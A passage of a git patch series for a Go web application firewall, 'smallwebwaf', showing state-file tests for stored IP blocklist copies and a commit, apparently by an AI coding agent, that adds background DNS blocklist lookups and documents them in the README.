"lookups.json" + reputationJSON = "reputation.json" + alertsJSON = "alerts.json" + // blocklistURL and torURL are the blocklists the tests' lists name. + blocklistURL = "https://lists.example/drop.txt" + torURL = "https://lists.example/tor.txt" // The AS number and AS name the tests' clients are looked up in. asn = "AS64496" asName = "Example Net" @@ -204,6 +209,29 @@ const filledAlertsJSON = `{ } ` +// filledReputationJSON is reputation.json holding the blocklists' last +// tries and the copy of one, with its comment line, as fill puts them in. +const filledReputationJSON = `{ + "version": 1, + "lists": [ + { + "url": "https://lists.example/drop.txt", + "tried": "2026-10-06T00:00:00Z", + "fetched": "2026-10-05T23:00:00Z", + "lines": [ + "; Spamhaus DROP List 2026/10/05 - (c) 2026 The Spamhaus Project SLL", + "203.0.113.0/24 ; SBL1", + "2001:db8::/32 ; SBL2" + ] + }, + { + "url": "https://lists.example/tor.txt", + "tried": "2026-10-06T00:00:00Z" + } + ] +} +` + func TestFilesWrittenAndReadBack(t *testing.T) { t.Parallel() @@ -230,6 +258,11 @@ func TestFilesWrittenAndReadBack(t *testing.T) { wantEqual(t, clientsJSON, after.Limiter.Snapshot(), before.Limiter.Snapshot()) wantEqual(t, lookupsJSON, after.GeoJS.Snapshot(), before.GeoJS.Snapshot()) + if got, want := after.Lists.Snapshot(), before.Lists.Snapshot(); !reflect.DeepEqual( + got, want) { + t.Errorf("%s read back\n%+v\nwant\n%+v", reputationJSON, got, want) + } + if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( got, want) { t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) @@ -238,12 +271,32 @@ func TestFilesWrittenAndReadBack(t *testing.T) { wantEqual(t, alertsJSON, after.Anomalies.Snapshot(), before.Anomalies.Snapshot()) // Each one-per-line file lists its entries by client, and nothing - // but the four files is left in the directory. + // but the five files is left in the directory. wantEntries(t, filepath.Join(dir, clientsJSON), "clients", "192.0.2.1/32", "203.0.113.9/32", "2001:db8::/64") wantEntries(t, filepath.Join(dir, lookupsJSON), "lookups", "192.0.2.1/32", "203.0.113.9/32") - wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON, reputationJSON) +} + +func TestReputationJSONKeepsEachCopyWholeOneLineToALine(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + fill(params) + + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + got := readFile(t, filepath.Join(dir, reputationJSON)) + if got != filledReputationJSON { + t.Errorf("reputation.json\n%s\nwant\n%s", got, filledReputationJSON) + } } func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting(t *testing.T) { @@ -368,8 +421,9 @@ func TestMissingFilesAreEmptyState(t *testing.T) { held := params.Alerts.Snapshot() if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || - len(params.GeoJS.Snapshot()) != 0 || len(held.Cooldowns) != 0 || - len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { + len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || + len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 || + held.Hour.Sent != 0 { t.Error("state from no files") } } @@ -428,6 +482,14 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { `: anomaly_counters entry 2's scope "nett" is not client, net, asn, total ` + `or watch`, }, + { + "a copy of a list with a line that does not read", reputationJSON, + `{"version": 1, "lists": [{"url": "` + blocklistURL + `", ` + + `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", ` + + `"lines": ["; DROP", "203.0.113.300"]}]}`, + `: the copy of ` + blocklistURL + `: line 2 is not an address or a netblock, ` + + `such as 192.0.2.0/24`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -523,6 +585,51 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + drop = `"url": "` + blocklistURL + `", ` + tried = `"tried": "2026-10-06T00:00:00Z", ` + fetched = `"fetched": "2026-10-06T00:00:00Z"` + ) + + for _, tc := range []struct { + name, content string + // want is what the error says after the file's path. + want string + }{ + { + "a list without its URL", + `{"version": 1, "lists": [{` + tried + fetched + `, "lines": []}]}`, + `: entry 1 has no "url"`, + }, + { + "a list without the time it was last tried", + `{"version": 1, "lists": [{` + drop + fetched + `, "lines": []}]}`, + `: entry 1 has no "tried"`, + }, + { + "a copy of a list without the time it was fetched", + `{"version": 1, "lists": [{` + drop + tried + `"lines": []}]}`, + `: entry 1 has no "fetched"`, + }, + { + // An empty list has no lines, which is not having none. + "a copy of a list without its lines", + `{"version": 1, "lists": [{` + drop + tried + fetched + `, "lines": []}, ` + + `{"url": "` + torURL + `", ` + tried + fetched + `}]}`, + `: entry 2 has no "lines"`, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + wantRefused(t, reputationJSON, tc.content, tc.want) + }) + } +} + func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { t.Parallel() @@ -626,7 +733,9 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { func TestUnknownVersionStopsTheStart(t *testing.T) { t.Parallel() - for _, file := range []string{bansJSON, clientsJSON, lookupsJSON, alertsJSON} { + for _, file := range []string{ + bansJSON, clientsJSON, lookupsJSON, reputationJSON, alertsJSON, + } { for _, content := range []string{`{"version": 2}`, `{}`} { t.Run(file+" "+content, func(t *testing.T) { t.Parallel() @@ -728,8 +837,9 @@ func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { time.Sleep(time.Nanosecond) synctest.Wait() - wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) - removeFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON, reputationJSON) + removeFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON, + reputationJSON) } }) } @@ -948,7 +1058,7 @@ func TestFileThatCannotBeReadIsNotWrittenOver(t *testing.T) { t.Errorf("bans.json is now %v (%v), want the socket", info, err) } - wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON, reputationJSON) wantWriteFailed(t, params, bansJSON) } @@ -1021,6 +1131,17 @@ func TestEditOfEachFileTakenIn(t *testing.T) { wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(), []lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}}) + edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ + `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ + `"lines": ["198.51.100.7"]}]}`) + wantTakenIn(t, lines, dir, reputationJSON) + + listedBy := params.Lists.ListedBy(client.Addr()) + if !slices.Equal(listedBy, []string{blocklistURL}) { + t.Errorf("%s taken in lists %s on %v, want on the blocklist", reputationJSON, + client.Addr(), listedBy) + } + // A netblock with bits past its length is read as the netblock it is // in. edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ @@ -1248,7 +1369,7 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { edit(t, dir, bansJSON, broken) edit(t, dir, clientsJSON, `{"version": 1, "clients": []}`) wantTakenIn(t, lines, dir, clientsJSON) - wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, clientsJSON, lookupsJSON, reputationJSON) // The next write sets it aside, logged with where the error is, and // writes bans.json again from what smallwebwaf still holds. @@ -1272,7 +1393,8 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad") } - wantFiles(t, dir, alertsJSON, bansJSON, bansJSON+".bad", clientsJSON, lookupsJSON) + wantFiles(t, dir, alertsJSON, bansJSON, bansJSON+".bad", clientsJSON, lookupsJSON, + reputationJSON) if got := readFile(t, path+".bad"); got != broken { t.Errorf("bans.json.bad holds\n%s\nwant the edit", got) @@ -1401,9 +1523,10 @@ func midnight() time.Time { } // newParams returns Params for the state files in dir, with parts that -// hold nothing yet. GeoJS is never asked, and the alerts, at most two an -// hour, are never sent. The anomaly counters count the scopes fill -// counts, with thresholds fill does not reach. +// hold nothing yet. GeoJS is never asked, the lists, two blocklists, are +// never fetched, and the alerts, at most two an hour, are +// never sent. The anomaly counters count the scopes fill counts, with +// thresholds fill does not reach. func newParams(dir string) state.Params { discard := slog.New(slog.DiscardHandler) m := metrics.New(1, "app") @@ -1431,6 +1554,10 @@ func newParams(dir string) state.Params { GeoJS: lookup.New(lookup.Params{ Now: midnight, ProcessLog: discard, Metrics: m, }), + Lists: reputation.New(reputation.Params{ + BlocklistURLs: []string{blocklistURL, torURL}, Refresh: 24 * time.Hour, + Now: midnight, ProcessLog: discard, Alerts: queue, + }), Alerts: queue, Anomalies: anomaly.New(anomaly.Params{ Net: anomaly.Thresholds{RequestsPerMinute: 1000}, @@ -1455,8 +1582,9 @@ func office() netip.Prefix { // fill puts a permanent ban an admin made, a ban for a broken limit and // one for a clear sign of attack, clients with counts and histories, -// GeoJS answers, and alerts and anomaly counters, as filledAlertsJSON -// holds them, into the parts of params. +// GeoJS answers, the blocklists' last tries and the copy of one, as +// filledReputationJSON holds them, and alerts and anomaly counters, as +// filledAlertsJSON holds them, into the parts of params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") @@ -1489,6 +1617,20 @@ func fill(params state.Params) { }, }) + // The copy of drop.txt was fetched an hour ago, and the fetches of it + // and of tor.txt tried since failed. + err := params.Lists.Load([]reputation.List{{ + URL: blocklistURL, Tried: now, Fetched: now.Add(-time.Hour), + Lines: []string{ + "; Spamhaus DROP List 2026/10/05 - (c) 2026 The Spamhaus Project SLL", + "203.0.113.0/24 ; SBL1", + "2001:db8::/32 ; SBL2", + }, + }, {URL: torURL, Tried: now}}) + if err != nil { + panic(err) // the copy reads + } + // An alert waiting, a repeat of it the cooldown holds back, another // alert waiting, and one past the two an hour, for the hour's summary. ban := alerts.Alert{ From 0b0f207423e2ce20c4e7850797dcf5b4179b45e7 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 21:09:51 +0200 Subject: [PATCH 41/64] DNS blocklists asked in the background, verdicts kept (closes #104) Zones in SWWAF_DNSBL_ZONES are asked about each client in the background, through SWWAF_DNSBL_RESOLVER or the host's resolver; no request waits. Verdicts last SWWAF_REPUTATION_CACHE_TTL, kept in reputation.json. SWWAF_REPUTATION_ACTION (limit:25) denies, limits or logs a listed client; each zone listing it raises reputation_hit. A failed query gives no verdict, raises source_failure, and pauses the zone a minute. A zone's key, its first label under dq.spamhaus.net, is masked everywhere but reputation.json. Zones compare without regard to case. Judgement call: answers in 127.255.255.0/24 or outside 127.0.0.0/8 are failures. Judgement call: the minute's pause after a failure; at most 1,000 queries at once. Judgement call: one zone given with two keys stops the start as listed twice. Rule suppressed: paralleltest on the DNSBL tests (Go's resolver shares state across synctest bubbles), funlen on the test of every logged setting. Model: opus-5-5 --- README.md | 395 +++++++++------ internal/alerts/alerts.go | 7 +- internal/config/config.go | 166 ++++++- internal/config/config_test.go | 210 ++++++++ internal/metrics/metrics.go | 54 +- internal/proxy/biased.go | 37 +- internal/proxy/proxy.go | 42 +- internal/proxy/reputation.go | 50 +- internal/proxy/reputation_test.go | 343 ++++++++++++- internal/proxy/request.go | 25 +- internal/reputation/dnsbl.go | 335 +++++++++++++ internal/reputation/dnsbl_test.go | 737 ++++++++++++++++++++++++++++ internal/reputation/export_test.go | 20 +- internal/reputation/reputation.go | 6 +- internal/requestlog/requestlog.go | 7 +- internal/smallwebwaf/smallwebwaf.go | 1 + internal/state/state.go | 49 +- internal/state/state_test.go | 82 +++- 18 files changed, 2330 insertions(+), 236 deletions(-) create mode 100644 internal/reputation/dnsbl.go create mode 100644 internal/reputation/dnsbl_test.go diff --git a/README.md b/README.md index 2dd9256..e954472 100644 --- a/README.md +++ b/README.md @@ -26,33 +26,36 @@ Slack and ntfy, and remote log sending. So is the stage after that: the AS number and country of every client, looked up through GeoJS or in the IPinfo Lite database file, the byte limits, the biased thresholds, lower limits for the AS numbers and countries you list, and the anomaly thresholds, alerts for -unusual traffic that refuse nothing. So is the first part of the stage after -that: the blocklists you name by URL, which it fetches and keeps, and a file of -AS numbers' percentages, fetched the same way. `smallwebwaf` passes each request -to the app and the app's answer back, unchanged, within its timeouts and size -limits, works out each client's address, looks up its AS number and country -unless you switch that off, bans a client that sends too many requests or too -many bytes, not counting those for the paths you choose, with lower limits for -the clients of the AS numbers and countries you list, refuses a client that -comes from a country you refuse or from a network you refuse, refuses, limits or -only notes a client a blocklist you name lists, lets the networks you choose -through, checks each request against the rule files and bans a client whose -request is a clear sign of attack, keeps its bans, each client's counters and -history, GeoJS's answers and the last good copy of each list it fetches in JSON -files across restarts, takes in your edits of those files, such as a ban you -make, keep or lift, and of the rule files while it runs, writes a JSON log line -for every request, sends its log lines to a syslog server too if you name one, -sends an alert to a webhook, to Slack and to ntfy, each if you name one, for -each ban it makes or makes permanent, for traffic over an anomaly threshold you -set, for a client a blocklist lists, for GeoJS failing or a list it cannot -fetch, for a rule file or state file with an error and for a replacement of the -lookup database it cannot read, serves Prometheus metrics to a scraper that -holds the metrics token, lets an admin who holds the admin token list, add and -lift bans and ask what it knows of a client, and in `observe` mode passes on the -requests it would refuse, logging what it would have done with them. It comes as -the image the app's own image is built on. The rest of the design comes after -that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of -existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +unusual traffic that refuse nothing. So are the first two parts of the stage +after that: the blocklists you name by URL, which it fetches and keeps, with a +file of AS numbers' percentages fetched the same way, and the DNS blocklists +(DNSBL zones), which it asks about each client in the background. `smallwebwaf` +passes each request to the app and the app's answer back, unchanged, within its +timeouts and size limits, works out each client's address, looks up its AS +number and country unless you switch that off, bans a client that sends too many +requests or too many bytes, not counting those for the paths you choose, with +lower limits for the clients of the AS numbers and countries you list, refuses a +client that comes from a country you refuse or from a network you refuse, +refuses, limits or only notes a client a blocklist or a DNSBL zone you name +lists, lets the networks you choose through, checks each request against the +rule files and bans a client whose request is a clear sign of attack, keeps its +bans, each client's counters and history, GeoJS's answers, the last good copy of +each list it fetches and the DNSBL zones' verdicts in JSON files across +restarts, takes in your edits of those files, such as a ban you make, keep or +lift, and of the rule files while it runs, writes a JSON log line for every +request, sends its log lines to a syslog server too if you name one, sends an +alert to a webhook, to Slack and to ntfy, each if you name one, for each ban it +makes or makes permanent, for traffic over an anomaly threshold you set, for a +client a blocklist or a DNSBL zone lists, for GeoJS failing, a list it cannot +fetch or a DNSBL zone that fails or refuses a query, for a rule file or state +file with an error and for a replacement of the lookup database it cannot read, +serves Prometheus metrics to a scraper that holds the metrics token, lets an +admin who holds the admin token list, add and lift bans and ask what it knows of +a client, and in `observe` mode passes on the requests it would refuse, logging +what it would have done with them. It comes as the image the app's own image is +built on. The rest of the design comes after that, in the order of the build +order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the +design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -206,35 +209,48 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of limit, the lowest of its percentages applying, as for a biased threshold, and with `log` nothing more is done. Whatever the action, the request's log line names the lists, and each raises an alert. +- Checks the client's own address against the DNSBL zones `SWWAF_DNSBL_ZONES` + names, after the blocklists and before the rate limits (see "DNS blocklists" + below), by the verdicts it keeps. A zone is asked about a client in the + background, and no request waits for its answer: the request that has it + asked, and any other from the client before the answer comes, goes on as from + a client the zone does not list. With `SWWAF_REPUTATION_ACTION` at `limit:25`, + its default, a client a zone's verdict lists gets a quarter of every rate + limit and byte limit, the lowest of its percentages applying, as for a biased + threshold. With `deny`, its requests are refused with `SWWAF_BAN_RESPONSE` + before their bodies are read; they are not counted for the rate limits, and + make no ban. With `log`, nothing more is done. Whatever the action, the + request's log line names the zones, and each raises an alert. A client a + blocklist refuses is not checked. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in - `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the rate - limits, the byte limits and the rule files, and is not looked up; the timeouts - and size limits still apply. A client in `SWWAF_DENY_NETS` is refused with - `SWWAF_BAN_RESPONSE` before its body is read, and the request is not counted - for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let through. A - client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the - rate limits, and has no bytes counted by the byte limits; the country lists, - the rule files and bans still apply to it. + `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the DNSBL + zones, the rate limits, the byte limits and the rule files, and is not looked + up; the timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is + refused with `SWWAF_BAN_RESPONSE` before its body is read, and the request is + not counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let + through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor + refused by the rate limits, and has no bytes counted by the byte limits; the + country lists, the rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests - that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a rate limit or - a rule would refuse: it passes them to the app, and their log lines name what - `enforce` mode would have done (see `would_action` in "Request log" below). - The checks run, and requests and bytes are counted, as in `enforce` mode, with - three differences: neither a broken rate limit or byte limit nor a `ban` rule - makes a ban; a broken limit does not set the client's counters back to zero, - so each request over a rate limit is logged as one that would be refused, and - each whose bytes keep the client over a byte limit as breaking it; and a - request under a ban does not make it permanent. As in `enforce` mode, the - bytes counted are only those of the requests `enforce` mode would have passed - to the app. A ban it would have made, or made permanent, raises the alert - `enforce` mode would have raised, marked as what would have happened (see - "Alerts" below). The bans in `bans.json` are kept, and refuse requests again - when `smallwebwaf` next runs in `enforce` mode, as long as they last. The - timeouts and size limits still apply, since they protect `smallwebwaf` and the - app themselves, and a request for one of `smallwebwaf`'s own endpoints without - its token is still answered `401`. It is for trying a configuration before - enforcing it. + that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's + verdict, a rate limit or a rule would refuse: it passes them to the app, and + their log lines name what `enforce` mode would have done (see `would_action` + in "Request log" below). The checks run, and requests and bytes are counted, + as in `enforce` mode, with three differences: neither a broken rate limit or + byte limit nor a `ban` rule makes a ban; a broken limit does not set the + client's counters back to zero, so each request over a rate limit is logged as + one that would be refused, and each whose bytes keep the client over a byte + limit as breaking it; and a request under a ban does not make it permanent. As + in `enforce` mode, the bytes counted are only those of the requests `enforce` + mode would have passed to the app. A ban it would have made, or made + permanent, raises the alert `enforce` mode would have raised, marked as what + would have happened (see "Alerts" below). The bans in `bans.json` are kept, + and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as + long as they last. The timeouts and size limits still apply, since they + protect `smallwebwaf` and the app themselves, and a request for one of + `smallwebwaf`'s own endpoints without its token is still answered `401`. It is + for trying a configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -254,14 +270,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). - Sends an alert for each ban it makes or makes permanent, for a count over an - anomaly threshold, for a client a blocklist lists, for GeoJS failing or a list - it cannot fetch, for a rule file or state file with an error, and for a - replacement of the lookup database it cannot read, holding back repeats and, - past an hourly limit, rolling the rest into one summary, to each destination - you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as - a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, - and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" - below). + anomaly threshold, for a client a blocklist or a DNSBL zone lists, for GeoJS + failing, a list it cannot fetch or a DNSBL zone that fails or refuses a query, + for a rule file or state file with an error, and for a replacement of the + lookup database it cannot read, holding back repeats and, past an hourly + limit, rolling the rest into one summary, to each destination you name: as a + JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to + the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a + message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). - Counts requests and their bytes over a minute and an hour, per client, per netblock around a client, per AS number, for the whole service and per named netblock, and sends an `anomaly` alert for a count over the anomaly threshold @@ -324,8 +340,8 @@ effective settings are logged at start. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists, the blocklists, the rate limits, the byte limits and the rule - files, such as your monitoring or your own networks. + country lists, the blocklists, the DNSBL zones, the rate limits, the byte + limits and the rule files, such as your monitoring or your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits and the byte limits do not apply to, such as a machine that talks to the app all day. @@ -427,10 +443,34 @@ effective settings are logged at start. `limit:`, such as `limit:25`, gives it that percentage of every rate limit and byte limit, and `log` does nothing more than note the lists in the log line and raise the alert. +- `SWWAF_DNSBL_ZONES` (default empty): the DNSBL zones each client is asked + about, such as `dnsbl.dronebl.org` (see "DNS blocklists" below). A zone is a + DNS name of at most 189 characters: labels of letters, digits and hyphens, of + up to 63 characters each, neither starting nor ending with a hyphen, joined by + dots. A Spamhaus zone is the name of its keyed query service, with the key in + it, such as `.xbl.dq.spamhaus.net`, and is shown with its key masked (see + "DNS blocklists" below). A zone that is not such a name stops the start, as + does one listed twice, even with its letters in another case or with another + key. Do not name a zone meant for mail (see "DNS blocklists" below). +- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver the zones are asked + through, an IP address with an optional port, 53 when none is given, such as + `192.0.2.53` or `[2001:db8::53]:5353`. Unset, it is the host's, as + `/etc/resolv.conf` names it. Several zones refuse queries that come through a + public resolver. +- `SWWAF_REPUTATION_ACTION` (default `limit:25`): what is done with a client a + zone's verdict lists, as `SWWAF_BLOCKLIST_ACTION` is for a blocklist: `deny`, + `limit:` or `log`. A zone's verdict is less certain than a list such + as DROP, so by default a client it lists gets a quarter of every rate limit + and byte limit. +- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict on a + client is used after the zone gave it. +- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone may take + before it fails. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one that is banned, breaks a rate limit, matches a `ban` rule, is in - `SWWAF_DENY_NETS`, comes from a refused country or is in a blocklist while - `SWWAF_BLOCKLIST_ACTION` is `deny`: `403`, `429`, or `close` to close the + `SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist while + `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone while + `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` to close the connection without an answer. Behind traefik, `close` does not leave the client unanswered: traefik answers `502`, as it does whenever its backend drops a connection. A `block` rule always answers `403`. @@ -576,14 +616,16 @@ listed twice in one of them stops the start. `off` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, -`SWWAF_BLOCKLIST_REFRESH`, the ban settings, the state settings, +`SWWAF_BLOCKLIST_REFRESH`, `SWWAF_REPUTATION_CACHE_TTL`, +`SWWAF_REPUTATION_TIMEOUT`, the ban settings, the state settings, `SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, `SWWAF_ANOMALY_NET_V4_PREFIX` and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At -most 100,000 answers from GeoJS are kept, for 7 days each, and at most 20,000 -anomaly counters. +most 100,000 answers from GeoJS are kept, for 7 days each, at most 20,000 +anomaly counters, and at most 100,000 verdicts of the DNSBL zones, with at most +1,000 queries to them under way at once. ### Settings given as files @@ -666,8 +708,9 @@ which every line has. app's, as passed on, or those of `smallwebwaf`'s own answer. - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one - refused because its client is in `SWWAF_DENY_NETS`, or in a blocklist while - `SWWAF_BLOCKLIST_ACTION` is `deny`, `banned` for one refused because a ban + refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while + `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone while + `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a ban covers its client or because it matched a `ban` rule, which bans its client, `country_denied` for one refused for its client's country, `rate_limited` for one that broke a rate limit and banned its client, `rule_blocked` for one a @@ -676,16 +719,17 @@ which every line has. could not be reached or its answer broke off, and `admin` for one `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that - `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a rate limit or a - rule would have refused in `enforce` mode, and names the action that refusal - would have had: `denied`, `banned`, `country_denied`, `rate_limited` or - `rule_blocked`. `action` then names what was done: `forward` for a request - passed to the app, and another action, such as `too_large`, for one a size or - time limit refused. + `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's + verdict, a rate limit or a rule would have refused in `enforce` mode, and + names the action that refusal would have had: `denied`, `banned`, + `country_denied`, `rate_limited` or `rule_blocked`. `action` then names what + was done: `forward` for a request passed to the app, and another action, such + as `too_large`, for one a size or time limit refused. - `limit_percent` is there for a request the rate limits count whose client a - biased threshold, or `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, - gives less than the whole of the rate limits, and gives the percentage it - gets, with `limit_percent_setting` naming the setting that gave it, such as + biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or + `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it, gives less + than the whole of the rate limits, and gives the percentage it gets, with + `limit_percent_setting` naming the setting that gave it, such as `SWWAF_ASN_LIMIT_PERCENT`, or `SWWAF_ASN_LIMIT_PERCENT_URL` for the file it names. `bytes_percent` and `bytes_percent_setting` are the same for the byte limits. Each is left out when the client gets the whole of those limits. @@ -697,11 +741,11 @@ which every line has. health check, one from a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a - ban, the country lists or a blocklist refuse, or would refuse in `observe` - mode. Its `minute_bytes`, `hour_bytes` and `day_bytes` give the client's bytes - in each window as the byte limits count them, in the same way: for a request - whose bytes they count, with its own, once it has ended; for any other, those - counted before it. + ban, the country lists, a blocklist or a DNSBL zone's verdict refuse, or would + refuse in `observe` mode. Its `minute_bytes`, `hour_bytes` and `day_bytes` + give the client's bytes in each window as the byte limits count them, in the + same way: for a request whose bytes they count, with its own, once it has + ended; for any other, those counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. - `limit_hit` is there for a request that broke a rate limit, or whose bytes @@ -711,12 +755,16 @@ which every line has. several. `offence` is then `limit`. A request whose bytes broke a byte limit is not refused: its `action` is what it would have been otherwise, such as `forward`. -- `reputation` is there for a request whose client a blocklist lists, and gives - the URLs of the blocklists that list it, in the order `SWWAF_BLOCKLIST_URLS` - names them, whatever `SWWAF_BLOCKLIST_ACTION` says. It is left out for a - client the blocklists are not checked for: one in `SWWAF_ALLOW_NETS`, and one - `SWWAF_DENY_NETS`, a ban or the country lists refuse first, or would in - `observe` mode. +- `reputation` is there for a request whose client a blocklist or a DNSBL zone's + verdict lists, and gives the URLs of the blocklists that list it, in the order + `SWWAF_BLOCKLIST_URLS` names them, then the zones whose verdict lists it, in + the order `SWWAF_DNSBL_ZONES` names them, whatever `SWWAF_BLOCKLIST_ACTION` + and `SWWAF_REPUTATION_ACTION` say. A zone whose verdict on the client has not + come yet, or was given `SWWAF_REPUTATION_CACHE_TTL` ago or more, is not named. + It is left out for a client the blocklists are not checked for: one in + `SWWAF_ALLOW_NETS`, and one `SWWAF_DENY_NETS`, a ban or the country lists + refuse first, or would in `observe` mode. The zones are not checked either for + a client a blocklist refuses, or would in `observe` mode. - `ban_expires` is there for a request that made a ban or was refused under one, or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. @@ -786,11 +834,13 @@ it, as below. An alert is for one of these events, and is sent when - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by each request that ends with the count over it, in `observe` mode as in `enforce` mode. It refuses and bans nothing. -- `reputation_hit`: a request whose client a blocklist lists, one alert for each - blocklist that lists it, whatever `SWWAF_BLOCKLIST_ACTION` says, in `observe` - mode as in `enforce` mode. -- `source_failure`: GeoJS failing or refusing `smallwebwaf`, or a fetch of a - list failing (see "Blocklists" below). +- `reputation_hit`: a request whose client a blocklist or a DNSBL zone's verdict + lists, one alert for each blocklist and each zone that lists it, 